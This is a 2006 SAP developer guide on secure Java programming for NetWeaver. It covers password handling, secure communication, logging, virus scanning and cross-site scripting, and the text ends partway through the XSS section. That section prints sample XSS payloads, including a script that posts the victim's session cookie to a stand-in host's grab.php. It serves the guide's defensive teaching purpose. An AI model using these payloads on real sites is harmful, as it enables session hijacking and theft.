SAP NetWeaver Developer’s Guide Release: SAP NetWeaver 2004s

Secure Programming – Java

Document Version 1.0 – May 2006

SAP AG Dietmar-Hopp-Allee 16 69190 Walldorf Germany T +49/18 05/34 34 24 F +49/18 05/34 34 20 www.sap.com

© Copyright 2005 SAP AG. All rights reserved. No part of this publication may be reproduced or transmitted in any form or for any purpose without the express permission of SAP AG. The information contained herein may be changed without prior notice. Some software products marketed by SAP AG and its distributors contain proprietary software components of other software vendors. Microsoft, Windows, Outlook, and PowerPoint are registered trademarks of Microsoft Corporation. IBM, DB2, DB2 Universal Database, OS/2, Parallel Sysplex, MVS/ESA, AIX, S/390, AS/400, OS/390, OS/400, iSeries, pSeries, xSeries, zSeries, z/OS, AFP, Intelligent Miner, WebSphere, Netfinity, Tivoli, and Informix are trademarks or registered trademarks of IBM Corporation in the United States and/or other countries. Oracle is a registered trademark of Oracle Corporation. UNIX, X/Open, OSF/1, and Motif are registered trademarks of the Open Group. Citrix, ICA, Program Neighborhood, MetaFrame, WinFrame, VideoFrame, and MultiWin are trademarks or registered trademarks of Citrix Systems, Inc. HTML, XML, XHTML and W3C are trademarks or registered trademarks of W3C®, World Wide Web Consortium, Massachusetts Institute of Technology. Java is a registered trademark of Sun Microsystems, Inc. JavaScript is a registered trademark of Sun Microsystems, Inc., used under license for technology invented and implemented by Netscape. MaxDB is a trademark of MySQL AB, Sweden.

SAP, R/3, mySAP, mySAP.com, xApps, xApp, SAP NetWeaver, and other SAP products and services mentioned herein as well as their respective logos are trademarks or registered trademarks of SAP AG in Germany and in several other countries all over the world. All other product and service names mentioned are the trademarks of their respective companies. Data contained in this document serves informational purposes only. National product specifications may vary. These materials are subject to change without notice. These materials are provided by SAP AG and its affiliated companies ("SAP Group") for informational purposes only, without representation or warranty of any kind, and SAP Group shall not be liable for errors or omissions with respect to the materials. The only warranties for SAP Group products and services are those that are set forth in the express warranty statements accompanying such products and services, if any. Nothing herein should be construed as constituting an additional warranty. Disclaimer Some components of this product are based on Java™. Any code change in these components may cause unpredictable and severe malfunctions and is therefore expressively prohibited, as is any decompilation of these components. Any Java™ Source Code delivered with this product is only to be used by SAP’s Support Services and may not be modified or altered in any way. Documentation on SAP Developer Network You can find this documentation at https://www.sdn.sap.com/irj/sdn/devguide2004s

Secure Programming – Java 2 / 50

Contents

Secure Programming – Java...........................................................................................4

PURPOSE.............................................................................................................................................................. 4 TARGET GROUP................................................................................................................................................... 4 ABOUT THIS DOCUMENT ..................................................................................................................................... 4 DISCLAIMER ........................................................................................................................................................ 5

Secure Programming ........................................................................................................6 PASSWORD SECURITY.......................................................................................................................................... 6 SECURE COMMUNICATION .................................................................................................................................. 9 SECURE STORE AND FORWARD MECHANISM (SSF) .......................................................................................... 12 LOGGING AND TRACING .................................................................................................................................... 14 SAP VIRUS SCAN INTERFACE............................................................................................................................ 16

Secure User Interface ....................................................................................................21 CROSS-SITE SCRIPTING (XSS)........................................................................................................................... 21 SQL INJECTION ................................................................................................................................................. 30 INPUT VALIDATION ........................................................................................................................................... 35 CANONICALIZATION.......................................................................................................................................... 38 DIRECTORY TRAVERSAL ................................................................................................................................... 40 URL ENCODING AND MANIPULATION............................................................................................................... 43 COOKIE MANIPULATION.................................................................................................................................... 46

Further Information .........................................................................................................49 Disclaimer ..........................................................................................................................50

Secure Programming – Java

“Security is like adding brakes to cars. The purpose of brakes is not to stop you:

it’s to enable you to go fast!” ---Gene Spafford

Purpose This documentation provides an overview about developing secure applications based on the SAP NetWeaver platform. It describes common security errors and weaknesses to watch out for as well as approved procedures so that your application functions “securely”.

Target Group The target group of this documentation are Java developers who are developing applications based on the SAP NetWeaver platform. This guide is primarily aimed at developers in the IT departments of customers, consulting houses, and partners.

About this Document This documentation is divided into the following sections:

• Secure Programming o Password Security o Secure Communication o Secure Store & Forward Mechanism (SSF) o Logging and Tracing o SAP Virus Scan Interface

• Secure User Interface o Cross-Site Scripting (XSS) o SQL Injection o Input Validation o Canonicalization o Directory Traversal o URL Encoding and Manipulation o Cookie Manipulation

For each topic mentioned above the security vulnerability is described. Then any standard solutions that exist from the SAP NetWeaver platform are presented, including functions and interfaces that need to be used. If no solution is available from the SAP NetWeaver platform, recommendations are provided about appropriate security measures to take. In addition, example code is provided where appropriate and links to existing documentation are given.

Secure Programming – Java 4 / 50

Disclaimer All description of secure programming and all sample code (for the purposes of this clause hereinafter referenced together as the "Examples") contained in this document are for illustrative purposes only. These Examples have not been thoroughly tested under all conditions. SAP, therefore, cannot guarantee or imply reliability, serviceability, or function of these Examples. Any use of these Examples is at your own risk and responsibility and SAP shall not be liable for any damages caused by the use of such Examples unless such damages have been caused by SAP's gross negligence or willful misconduct.

Secure Programming – Java 5 / 50

Secure Programming Implementing Security Developers common problem is a lack of time, they usually struggle with design, functionality, performance, usability and so one. Therefore, they spend less of time to think about security aspects and possible insecure software design or insecure programming techniques. The attackers on the other hand have all the time to find out the software vulnerabilities. Although a clever design is certainly a good starting point, it’s not enough to achieve secure software: Implementation has tricks of its own. In the following sections we’ll give you support to secure your code. In particular this guide addresses common errors and weaknesses and describes approved procedures.

Password Security Description

Passwords are a familiar way to verify the identity of users and systems. Passwords are simpler and cheaper than other, more secure forms of authentication like smart cards or biometric scanners. They provide a simple, direct means of protecting a system or an account. However, there are also known weaknesses. Password cracking is the process of figuring out or breaking passwords in order to gain unauthorized access to a system or an account. Many passwords are not random but trivial to guess. A more technical way of cracking passwords is through network sniffers, which look at the raw data transmitted across the network and decipher its contents, including passwords. Furthermore, attackers can try to crack passwords offline when they can access the hashed password string during transmission or in an insecure password store. The password-based approach of authentication can be used to protect applications when the following advices are taken into consideration.

What Do I Get from the SAP NetWeaver Platform? The overall process of password-based identification and authentication is as follows. First, the application asks for the user identification, usually the user’s account name. Then the password is read and a hash-value of the password is calculated. Often a salt, that is a random string of data, is added in order to prevent an attacker from testing known dictionary words. Some password components also wipe the memory in which the password was stored. Finally, it has to be checked, whether the hashed user input and the stored hash value of the password match. If yes, the user is successfully authenticated. The SAP NetWeaver platform provides such an authentication mechanism as described above. Generally, it is recommended to use the existing password authentication mechanism provided by the SAP NetWeaver platform instead of implementing something on your own.

Secure Programming – Java 6 / 50

What Do I Need to Do? The issues described above necessitate that you handle user IDs and passwords carefully. The following recommendations may help to prevent that an unauthorized person will gain access to your system:

1. Are no passwords displayed in plaintext? • Do not display passwords in plaintext, use asterisk instead.

2. Are no passwords saved or transmitted in plaintext? • Passwords transmitted in plain text can be intercepted, rendering the user ID

and password method of identification insecure. It is better to transmit passwords using a secure communication protocol, such as the Secure Sockets Layer (SSL) protocol.

• Do not save passwords in plaintext. • Avoid the administrator to gain access to the password. Use secure hash

functions to prevent password recovery. → The SAP NetWeaver platform uses secure hash values to store passwords. • Do not invent your own coding to encrypt the original password.

3. Are no passwords hard-coded in the source code? • Use a technology such as one-time passwords. • Use the Destination Service instead (for details please see chapter “Secure

Communication”). • Do not invent your own encryption algorithm.

4. Are no passwords recorded in log/protocol/trace files? • Do not use HTTP GET-requests since all parameters will be found in the URL.

Use HTTP POST-requests instead. In general, you should avoid transmitting passwords, in particular with every request you send. Use secure mechanisms instead, such as digital certificates for example.

• Take into account that the Web Server logs all the URLs. • Passwords may also be displayed in readable form when tracing, depending

on the trace settings. 5. Are passwords in plaintext overwritten in memory once they are no longer

used? • Do overwrite passwords in memory, otherwise they might still exist in memory

even after completion of the application and could thus be read by a malicious application.

6. Are user ID and password neither preconfigured nor callable through a pull down menu at the start of the application?

• Better avoid to use any pull down menu for the user ID/password entry. This is in particular important for the password.

7. Can all passwords, IDs and user names be changed? • Non-changeable IDs and passwords often form the starting point for attacks

on an application’s security.

Secure Programming – Java 7 / 50

Further Information 1. Checklist for secure programming (section “Password Security”)

https://www.sdn.sap.com/irj/servlet/prt/portal/prtroot/docs/library/uuid/4ab8b3bb-0601-0010-7b82-e392df20392a

Secure Programming – Java 8 / 50

Secure Communication Description

If you want to set up a HTTP, Web services consumer or RFC connection from the SAP J2EE Engine to other servers you might want to make use of transport layer security for network communications. Depending on the protocol used for the connection, either the Secure Sockets Layer (SSL) or Secure Network Communications (SNC) protocol can be used to secure the communication. When using SSL or SNC to encrypt data communications at the network layer, you make use of the following security features:

Authentication With server-side authentication, the server identifies itself to the client when the connection is established, which reduces the risk of using “fake” servers to gain information from clients. With mutual authentication, the both the client and the server are authenticated when the connection is established. You can use client-side authentication, for example, to authenticate users using SSL instead of using user IDs and passwords.

Data integrity The data being transferred between the client and the server is protected so that any manipulation of the data is detected.

Data privacy The data being transferred between the client and the server is also encrypted, which provides for privacy protection. An eavesdropper cannot access the data.

More detailed information on transport layer security is provided in Transport Layer Security on the SAP J2EE Engine [SAP Library].

What Do I Get from the SAP NetWeaver Platform? The SAP J2EE Engine supports the use of transport layer security for network communications. Depending on the protocol used for the connection, it supports SSL or SNC. If you want to set up a HTTP, HTTPS or Web services consumer or RFC connection from the SAP J2EE Engine to other servers, then you can easily use the security features provided by the Destination service. Three types of destinations are supported:

• HTTP(S), • RFC, and • Web services.

HTTP destinations support HTTP-Post and HTTP-Get requests to HTTP or HTTPS URLs. Web service destinations are automatically created for deployable Web service proxies and are used to configure the authentication data. RFC destinations are used for connections to ABAP servers. The data to use for the connection (target address and user authentication information) are specified in the Destination service as a destination entry. The following authentication methods are supported:

Secure Programming – Java 9 / 50

None If you use this option, then no authentication occurs with the connection.

Basic With this option, then you must specify the user name and password to use for the connection. The user information is then sent with the request in an HTTP Basic Authentication header.

X.509 client certificates In this case, SSL with mutual authentication is used to authenticate the client. To use this option, you must specify the public-key certificate from a keystore entry in the Key Storage service to use for the client authentication.

Logon Tickets In this case, the current user must possess a logon ticket. The logon ticket is then sent with the request.

The Destination service uses the Secure Storage service on the J2EE Engine to store the URL and user authentication information specified in the destination entry in encrypted form.

• You can use the Secure Sockets Layer (SSL) protocol to secure HTTP connections. In this case, the corresponding keys and public-key certificates are stored in keystore entries in the Key Storage service.

• You can use Secure Network Communications (SNC) to secure RFC connections to ABAP systems. In this case, you need to use an external security product to provide the protection.

You can either set up destinations manually using the Visual Administrator or you can use the service’s API to establish destinations programmatically. The following sections apply to the programmatic use of the API to set up the destinations. More detailed information on the Destination service is provided in Destination Service [SAP Library].

What Do I Need to Do? You can use the Destination service API to create, delete, change or use destinations. a) Creating a Destination To create a destination:

1. Lookup a reference to the Destination service using the JNDI service. 2. Create a new destination (method: createDestination). 3. Adjust the destination’s parameters (method: set<parameter>). 4. Store the destination (method: storeDestination).

b) Using a Destination To establish a connection using a destination:

1. Lookup a reference to the Destination service using the JNDI service. 2. Obtain a destination (method: getDestination). 3. Open a connection (method: getURLConnection).

Secure Programming – Java 10 / 50

The interfaces and classes for using the Destination service API are located in the package com.sap.security.core.server.destinations.api. For more detailed information about the most important interfaces provided with the Destination service API, see The Destination Service API [SAP Library].

Examples For some examples about using the Destination service in your applications, see Examples for Using the Destination Service API [SAP Library].

Further Information 1. The Destination Service API [SAP Library] 2. Destination Service [SAP Library] 3. Transport Layer Security on the SAP J2EE Engine [SAP Library]

Secure Programming – Java 11 / 50

Secure Store and Forward Mechanism (SSF) Description

You can use digital signatures and document encryption in your application to provide for document security. These documents are then protected as independent objects using Secure Store and Forward (SSF) mechanisms. This means that the documents are secured irregardless of where they are stored or how they are transported. You can apply a digital signature to any digital document or message, which is comparable to a handwritten signature on a paper document. The digital signature uniquely identifies the signer of the document or message. It is not forgeable and also protects the integrity of the document. If the document is changed after being signed, then the digital signature is no longer valid. Also, the signer of such a document cannot deny having signed the document at a later time. In addition, you can encrypt documents so that only intended recipients can view their contents. The functions for digital signatures and document encryption use public-key technology. Public-key technology is based on the use of a key pair; one of which is a private key and the other is a public key. The private key is to be kept secret; the public key is to be distributed as desired. More detailed information on public-key technology is provided in Public-Key Technology [SAP Library].

What Do I Get from the SAP NetWeaver Platform? The SAP NetWeaver platform provides Secure Store & Forward (SSF) mechanisms as internal means to protect arbitrary data in the SAP system. SAP applications can use the SSF mechanisms to secure data integrity, authenticity and confidentiality. By using SSF functions, you can "wrap" data and digital documents in secure formats before they are saved on data carriers or transmitted over (possibly) insecure communication links. The data must not remain within the SAP System; if you save the data in a secure format in the SAP System, it remains in its secured format even if you export it out of the system. More detailed information on the Secure Store and Forward Mechanism (SSF) is provided in Digital Signatures and Document Encryption API [SAP Library].

Restrictions The Java SSF Library is based on the IAIK Toolkit of Graz Technical University. This SSF Library also supports the generation and verification of digital signatures. To encrypt and decrypt documents, the IAIK Toolkit, which can be downloaded from the SAP Service Marketplace, must be installed. Therefore, no external security product is required from our partners, and there is no SAP certification program for the Java SSF Library. PKCS#12 and the Java Keystore are supported for key storage, meaning that it is currently only possible to generate digital signatures without cryptographic hardware. Please note that the export of software products that contain encryption is regulated and therefore not available to all customers. Therefore, when using document encryption in your application, make sure that the corresponding functions are available. If not, then return an error message.

Secure Programming – Java 12 / 50

What Do I Need to Do? The Java SSF Library is used in applications that are written in Java. It supports the functions for creating and verifying digital signatures and functions for encrypting and decrypting documents. The Java SSF Library supports the data formats PKCS#7, S/MIME and XML Signature/Encryption. The Java SSF Library is delivered with SAP J2EE Server 6.30 The following interfaces and classes are supported:

Data format There is a central interface IssfData that contains all basic methods such as sign, verify, encrypt, and decrypt. This interface is implemented for the different classes (SsfDataPKCS7, SsfDataSMIME, SsfDataXML) that provide specific methods for each format.

Key access An SSF profile that contains the private key and the certificate’s upward path is required for signing and decryption. An SSF Public Address Book (PAB) that contains a list of trusted root certificates is required for verification and encryption.

XML-specific Help classes for implementing the XML signature.

For a detailed description of the interfaces and classes, see Interfaces and Classes for Using Digital Signatures and Encryption. For example code regarding digital signatures, see Examples for Using Digital Signatures. The Javadocs regarding SSF can be found at https://www.sdn.sap.com/irj/sdn/javadocs (see Web Application Server APIs Secure Store and Forward). For further guidelines regarding digital signatures please also see Digital Signatures in SAP Applications.

Further Information 1. Digital Signatures and Document Encryption API [SAP Library] 2. Guideline: Digital Signatures in SAP Applications

https://service.sap.com/~form/sapnet?_SHORTKEY=01100035870000668332&_SCENARIO=01100035870000000112&_OBJECT=011000358700000952762004E

3. Javadocs https://www.sdn.sap.com/irj/sdn/javadocs

Secure Programming – Java 13 / 50

Logging and Tracing Description

Logging and tracing are important elements for securing your application server systems. Logs are important for monitoring the security of your system and to track events in case of problems, as well as for auditing the correct usage of the system. Keep in mind the difference between logs and traces. Logs are mainly addressed to an administrator of a customer system, whereas traces are addressed to a developer and support organization. Write into logs only such messages, which are important for an administrator, who supervises the system during normal operation. Write into traces everything, which might be important to trace erroneous behavior.

What Do I Get from the SAP NetWeaver Platform? The SAP Logging API offers high quality support for common practices in logging:

It generates trace and log messages. APIs are available that combine these two types of messages together for advanced

analysis. You can find these APIs in the SAP NetWeaver Developer Studio help. The SAP Logging API is provided through the Java package com.sap.tc.logging, with all functionality for both tracing and events logging. For further information on using logs and traces in J2EE Engine, see Logging and Tracing [SAP Library].

What Do I Need to Do? All applications should have a proper logging and tracing. For security reasons it is recommended to log security-related events that have occurred in the system. One example for such events are unsuccessful authorization checks. Another example are any malicious actions, such as attempting to call objects even if these objects were locked. Make sure to use the built-in SAP Logging API. The SAP J2EE Engine provides an easy mechanism for configuring the behavior and output of logging, without having to write Java source code. For example, if you want to generate more or fewer log messages, this depends on the diagnosis level they are in. Sometimes you may also want to change the output destination, or even the format of the message. These all can be specified separately and dynamically integrated with the program. You do not have to recompile the source code. The general procedure for you is as follows:

1. Identify the source area you would like to produce trace/log output. 2. Assign a severity level to the source. 3. Specify an output destination. 4. Insert messages with corresponding severity level. 5. Check that the inserted messages contains no sensitive data. 6. Run the program.

The message is produced and sent to the destination only when the severity of the message is equal to or higher than the source. From a developer’s point of view the focus is on the

Secure Programming – Java 14 / 50

steps 1, 4 and 5 defined above. The other steps are more or less determined and configured by the operators/end-users eventually. Further information about the SAP Logging API is provided in SAP Logging API [SAP Library]. See also the Logging Quick Guide [SAP Library] and How to Write Useful Log and Trace Messages [SAP Library]. When using the logging for an audit log, please keep the following issues in mind:

A log is not useful by itself, but through the information it contains. Consider what will be meaningful and relevant to those who will use the log. A mere

“Access denied” error does not tell much. An “Access denied for user … while attempting to perform action … on the resource …” is much better.

More detail is generally better, but too much detail is annoying and can hinder performance. So make use of the different log levels of the SAP Logging API.

As a general guideline you can look at the different log levels used by the User Management Engine (UME). Detailed information about logging and tracing with the UME is provided in Logging and Tracing [SAP Library].

Further Information 1. Logging and Tracing [SAP Library] 2. Logging Quick Guide [SAP Library] 3. How to Write Useful Log and Trace Messages [SAP Library] 4. SAP Logging API [SAP Library]

Secure Programming – Java 15 / 50

SAP Virus Scan Interface Description

Any kind of external data such as office documents, images, binaries are considered insecure unless they are scanned for malicious and/or suspicious code. Virus scanning should be performed every time potentially polluted data is imported via input channels into the SAP system. Possible input channels are:

File upload from front-end PC’s or file system on the application server File upload via Internet Document exchange via RFC, XML, XI

Since SAP managed databases are central distribution points, it is very dangerous to store malformed or otherwise dangerous data in them as the latter may spread very quickly across the network. Applications that are transferring files to or from SAP managed databases must make sure the data is not vulnerable to any known threats.

What Do I Get from the SAP NetWeaver Platform? SAP has developed an interface especially for this purpose. It is intended to provide virus scanning services for the application developers as transparently as possible. The interface is known as the NetWeaver Virus Scan Interface (NW-VSI) and is available both for ABAP and J2EE engines. You can use the virus scan interface to include external virus scanners in the SAP system to increase the security of your system. A third party product (external anti-virus solution) is necessary to perform the actual virus scan. The certifiable interface called „NW-VSI“ (SAP NetWeaver Virus Scan Interface) needs to be activated. This means that you can use a high-performance integration solution to scan files or documents that are processed by applications for viruses. This applies both for applications delivered by SAP and for customer developments, for example, during data transfers across networks or when documents are exchanged using interfaces. More detailed information about the NetWeaver Virus Scan Interface (NW-VSI) is provided in Virus Scan Interface [SAP Library]. The architecture of the Virus Scan Interface allows you to combine different products, systems, and platforms to scan your applications for viruses. This is possible, since SAP provides a certified interface for the virus scan products of other vendors. The partners’ virus scan engines can, for example, have completely different architectures. However, by integrating an adapter using a proprietary connection, any partner can, however, connect any existing virus scan product to the virus scan interface. On the SAP side, different VSILIB layers are used to include the ABAP and Java worlds, and to deal with platform dependencies (of operating systems and processors, that is, 32 or 64 bit) in the integration of the virus scan interface. For further information see Architecture of the Virus Scan Interface [SAP Library].

Secure Programming – Java 16 / 50

Figure 1: Elements of the Virus Scan Interface The graphic below clarifies the layer structure of the SAP Virus Scan Interface (SAP VSI API) and shows which parts are delivered by SAP, and which by the relevant partners.

Figure 2: Software Layers of the Virus Scan Interface The SAP Virus Scan Interface (SAP VSI API):

Is accessed by partner products directly with the scan engine or indirectly using a separate virus scan adapter.

Secure Programming – Java 17 / 50

Contains the functions required to configure and to initialize the scan engine. Provides the parameters and data for every virus scan. Processes the check result.

ABAP or Java application programs start virus scans with dedicated classes and methods of the SAP virus scan interface, which, in turn, call a virus scan server or the J2EE Engine directly using RFC.

What Do I Need to Do? a) Virus Scan Profiles Different applications have different requirements for virus scanning. For example, an HR application dealing with external recruiting forms wants high security scanning whereas performance is not a critical aspect. On the other hand, a CRM application dealing with mostly internal documents wants less scanning effort and better performance. In order to allow for application-specific configuration of virus scanning, so-called virus scan profiles are used. Application programs use virus scan profiles to check data for viruses. Furthermore, you can define which scanner group/groups shall be used to check a document. You can also use a virus scan profile to assign configuration parameters for the virus scanner. If you check for viruses with this virus scan profile, the virus scanner receives the parameters. Virus scan profiles can point to other profiles (reference mechanism). SAP delivers profiles for its applications, pointing all to the so-called “default profile”. By creating one single virus scan profile and flagging it as “default profile”, customers can use this profile for all SAP applications without separate configuration. The system administrator can use the profile to activate or deactivate the virus scan for each component. By default, a virus scan profile is provided for each SAP application that integrates a virus scan. For further information see Defining Virus Scan Profiles [SAP Library]. You should define your own virus scan profile if your application uploads external documents (e.g. DOC, XLS, PDF, etc.) into the SAP system and stores them for further processing or delivery. Examples for such applications are document upload in the Knowledge Warehouse or the eRecruiting application in HR which uploads application forms. You should not define your own virus scan profile if your application uploads data that is parsed by your own application. For example, an application that parses a XML file on its own for the sake of configuration purposes. b) Configuring and Testing the Virus Scan Provider The virus scan provider is the service of the J2EE Engine that makes the virus scanning interface available to the SAP applications of the Engine. You can use either a virus scan adapter or a virus scan server as a virus scan provider. The virus scan server is an alternative, if you cannot use the better-performing virus scan adapter. The configuration of the virus scan provider service is stored in the Configuration Manager of the J2EE Engine. You can use the Visual Administrator for graphical administration. For detailed information see Setting Up Virus Scan Providers [SAP Library]. In order to check that your configured virus scan provider is functioning correctly, please use the procedure as described in Testing the Installation of the Virus Scan Provider [SAP Library]. Please also refer to the section “d) Testing Your Application” below.

Secure Programming – Java 18 / 50

c) Developing VSI-Aware Applications The J2EE service “Virus Scan Provider” (tc/sec/vsi/service) provides the interface “Virus Scan Interface”. The J2EE interface “Virus Scan Interface” (tc/sec/vsi/interface) provides the scan API for applications within the J2EE engine. The virus scanning is done through an instance object prior obtained from the virus scan provider service. An application may choose to either scan byte array or scan file on the disk. The scan result is reported through an exception handling mechanism. A detailed description about the API can be found in Interfaces and Classes of the Virus Scan Provider API [SAP Library]. For more information, also see the JavaDocs for the relevant interfaces and classes. In order to integrate virus scanning into your own application you need to set a reference in your configuration file to tc/sec/vsi/interface (see below). You must not reference the J2EE service directly.

The interfaces are delivered within the SAP NetWeaver Studio. Alternatively, you can use the JAR file “tc_sec_vsi_interface.jar” in your engine folder (see below).

Secure Programming – Java 19 / 50

d) Testing Your Application A test application is delivered within each J2EE engine. Use the URL path http://<hostname>:<port>/vscantest. You can start the test application that belongs to the 'Virus Scan Provider'. This contains two servlets: one for the overview of the configured objects and a servlet for testing the scan API, which operates in the same way as the test application using the (ABAP) Transaction 'VSCANTEST'.

Example Code For example coding please refer to the Example Program for the Virus Scan Provider [SAP Library].

Further Information 1. SAP Note 848189 (Virus Scan Provider service in the J2EE engine) 2. SAP Note 786179 (Data security products: Application in the antivirus area) 3. SAP NetWeaver Virus Scan Interface (NW-VSI)

http://www.sdn.sap.com/irj/servlet/prt/portal/prtroot/com.sap.km.cm.docs/library/icc/NW-VSI%20Interface%20Documentation.pdf

4. SDN Weblog “Are you uploading documents into SAP? And what about checking them for viruses?” https://weblogs.sdn.sap.com/pub/wlg/2742

Secure Programming – Java 20 / 50

Secure User Interface The trouble with Web applications is that you want users to come to your site and interact with the application. If the user makes unexpected entries (such as script commands) that the application does not handle correctly, an attacker could cause the server or the client/browser to perform unintended actions. Therefore, the first guideline for developing a secure Web application is: ‘Never trust any information coming from the outside, and never assume anything about it’. All security decisions must have the underlying assumption that anything that can theoretically be manipulated by someone or something will be manipulated in reality. For example, if an attacker makes entries like manipulated SQL statements and the application does not filter the entries, he can get access to the internal database (SQL Code Injection). The following sections describe examples for different vulnerabilities in Web applications and explain how to prevent them with secure programming.

Cross-Site Scripting (XSS) Description

Cross-Site Scripting (XSS) attacks are set out to manipulate HTML pages by injection of malicious script code or by other indirect techniques, such as redirection to another server, logical attacks e.g. replacing images or changing style sheets. Attackers look out for HTML pages, where user input is written back to the HTML page, e.g. during a logon failure the logon screen is displayed a second time. These examples demonstrate the potential security vulnerabilities for XSS attacks, if user’s input is written back to the HTML page. Due to the fact that HTML is based on tags the browser may even interpret and execute JavaScript or ActiveX controls, which might contain malicious SCRIPT commands. Those commands are executed by someone else opening this manipulated HTML page. The consequences of ActiveX attacks are as follows:

The hacker might read/change/delete files on some other user’s local drives. Application actions might be executed under some other user’s privileges. The hacker might install other applications like Trojan horses.

In case of Java- or VBScript potential attacks may be: To send the browser in an endless loop. To redirect the browser to a different page by overwriting the document.location.href property.

To access all user’s inputs (credit card numbers, etc.) and to send it to a rogue server.

To access the user’s cookies (session hijacking, cookie manipulation). To insert new Script tags as output between tags, which for example create new

event handlers that are executed when certain events occur.

Secure Programming – Java 21 / 50

Examples Example Code 1: <a href="javascript:alert();">Click me!</a>

Example Code 2: <img src="filename" onclick="alert();">

Example Code 3: <textarea onchange="alert();">

What Do I Need to Do? The basic rules to avoid XSS attacks are:

Constrain Input. • Define a codepage (e.g. charset = ISO-8859-1) to clearly decide which

characters are problematic. • Filter metacharacters depending on the interpreter (HTML, browser,

file system etc.). • Restrict variables to those characters that are explicitly allowed.

Canonicalization, i.e. before validating input you first have to bring it to an appropriate standard form. For more details on this topic please refer to the chapter “Canonicalization”.

Validate Input. All external input should be validated: • for field length, • for data type, • for range (e.g. date, postcode), • and for a white list, to accept only known unproblematic characters. • If users are allowed to enter a URL within the input field, do restrict the domain of

the URL and permit only the selection of approved URL’s. • Always enclose input values on HTML pages in quotation marks. This ensures,

that attacks are only possible, if hackers leave the ‘input value context’ (e.g. “HUGO”) embedded in quotation marks using another ‘"’. Malicious code can be detected with a simple manner filtering for ‘"’. Example:

<form name="HUGO"> <input type="text" name="user" value="30"> </form>

Omitting the quotation mark will make an XSS attack easier, because attackers do not have to leave the context setting any ‘"’. Therefore, it is much more difficult to filter malicious code out of such HTML pages.

Secure Programming – Java 22 / 50

Bad example: <form name=HUGO> <input type=text name=user value=30> </form>

Encode Output. • Encode user supplied output so that any inserted scripts are prevented from being

transmitted to users in an executable form. • Convert metacharacters, e.g. “<” to &lt; , “>” to &gt; , and “”” to &quot;

depending on the output context. • Use the Output Encoding Framework, which is provided by the SAP NetWeaver

platform.

Examples Example Code 1:

• Part of the company’s intranet application: public void doContent(...) {

...

String s;

if ((s = getUsernameByID("userid")) != null) {

response.write("<br>Applicant:<u>" + s + "</u>");

}

...

}

Supposed output: <br>Applicant:<u>Smith</u>

• Cross-Site Scripting (XSS) example attack: Data entered in the field "user name": <script>

document.write('

<form name=hack method=post

action="http://www.example.org/grab.php">

<input type=hidden name=sid value="' + escape(document.cookie)

+ '">');

document.hack.submit();

</script>

Smith

• Cross-Site Scripting (XSS) attack result:

HTML output containing the applicant’s input, rendered in the company’s intranet:

Secure Programming – Java 23 / 50

<br>Applicant:<u>

<script>document.write(‘

<form name=hack method=post

action="http://www.example.org/grab.php">

<input type=hidden name=sid value=">' +

escape(document.cookie) + '">');

document.hack.submit();</script>

Smith

</u>

Visible output: Applicant: Smith

• Cross-Site Scripting (XSS) secure code:

Security enhanced function: public void doContent(...) {

...

String s;

if ((s = getUsernameByID("userid")) != null) {

s = StringUtils.encodeToHTML(s, 50);

response.write("<br>Applicant:<u>" + s + "</u>");

}

...

}

What Do I Get from the SAP NetWeaver Platform? a) Using SAP Output Encoding Framework: You can use the SAP Output Encoding Framework in order to prevent cross-site scripting attacks. This applies if you as application developer generate your HTML code. By manually encoding user supplied output before rendering it, any inserted scripts are prevented from being transmitted to users in an executable form. Since release 6.40 SP13 of the SAP Web Application Server Java various methods for encoding output are available within the util class com.sap.security.core.server.csi. util.StringUtils. XSS attack scenarios have been analyzed quite precisely by SAP. The main result is that you have to distinguish basically four different cases for XSS-attacks:

CASE 1 XSS-attacks can occur as output BETWEEN tags:

<head> <title>[CASE1]</title> </head>

Secure Programming – Java 24 / 50

<table> <tr> <td>Username</td> <td>[CASE1]</td> </tr>

</table> Example for XSS-attack: <head> <title><script>alert();</script></title> </head> <table> <tr> <td>Username</td> <td><img src="javascript:alert();"></td> </tr> </table>

Utility function escapeToHTML of Java class StringUtils has to be applied for output encoding:

<u>[CASE1] Output BETWEEN tags</u> static String escapeToHTML(String input) static String escapeToHTML(StringBuffer sb,String input,int maxLength) static String escapeToHTML(String input, int maxLength)

CASE 2 XSS-attacks can occur as output INSIDE tags, but output is not a URL or style: <form name="[CASE2]"> <input type="text" name="user" value="[CASE2]"> <input type="text" name="user" value='[CASE2]'> </form> <a name="[CASE2]"><img height="50" width=[CASE2]></a>

Example for XSS-attack: <form name="" action="http://www.example.org/grab.jsp" x=""> ... </form> <a name="" onmouseover='alert();' x=" "> <img height='50' width=400 src='bad_banner.jpeg'> </a>

Secure Programming – Java 25 / 50

Utility function escapeToAttributeValue of Java class StringUtils has to be applied for output encoding:

<u>[CASE2] Output INSIDE tags, but output is not a URL or style</u> static String escapeToAttributeValue(String input) static String escapeToAttributeValue(StringBuffer sb, String input, int maxLength) static String escapeToAttributeValue(String input, int maxLength)

CASE 3 XSS-attacks can occur as output which is a URL or style: <a href='[CASE3]' style="[CASE3]"> <img src="[CASE3]" lowsrc="[CASE3]"> </a>

Example for XSS-attack: <a style="background:url(javascript:alert())">

<img src="javascript:alert()"> </a>

Utility function escapeToURL of Java class StringUtils has to be applied for output encoding:

<u>[CASE3] Output is a URL or style</u> static String escapeToURL(String input) static String escapeToURL(StringBuffer sb, String input, int maxLength) static String escapeToURL(String input, int maxLength)

CASE 4 XSS-attacks can occur as output inside a SCRIPT context: <script> var a = '[CASE4]'; alert("[CASE4]"); var a = [CASE4]; [CASE4] </script>

Example for XSS-attack: <script> var a = ''; alert(); a=''; alert("");document.forms[0].submit();//"); var a = alert(); alert(); </script>

Secure Programming – Java 26 / 50

Utility function escapeToJS of Java class StringUtils has to be applied for output encoding:

<u>[CASE4] Output is inside a SCRIPT context</u> static String escapeToJS(String input) static String escapeToJS(StringBuffer sb, String input, int maxLength) static String escapeToJS(String input, int maxLength)

The StringUtils class is part of the tc_security_csi.jar library, which is included in every installation of SAP Web Application Server Java since version 6.40 SP13. Further information about the Java class StringUtils is provided in the Javadocs at https://www.sdn.sap.com/irj/sdn/javadocs. b) HTMLB for Java: Within the Enterprise Portal the recommended common standard for UI elements is provided by the HTMLB framework. There are two types of HTMLB with almost the same scope of functionality but different in the underlying technology. The HTMLB for Java class library is used when UI elements are directly included in the source code of a Java class. The HTMLB JSP Tag library is used when the UI development is separated into a standard JSP page. For several UI elements like:

1. Button 2. TextView 3. TreeView 4. TableView …

output encoding could be enabled or disabled by the encode-attribute of the UI elements. The default value is "true".

Attribute Req. Values Default Case sens.

JSP Taglib Classlib

encode no TRUE FALSE

TRUE yes encode="FALSE" setEncode(false)

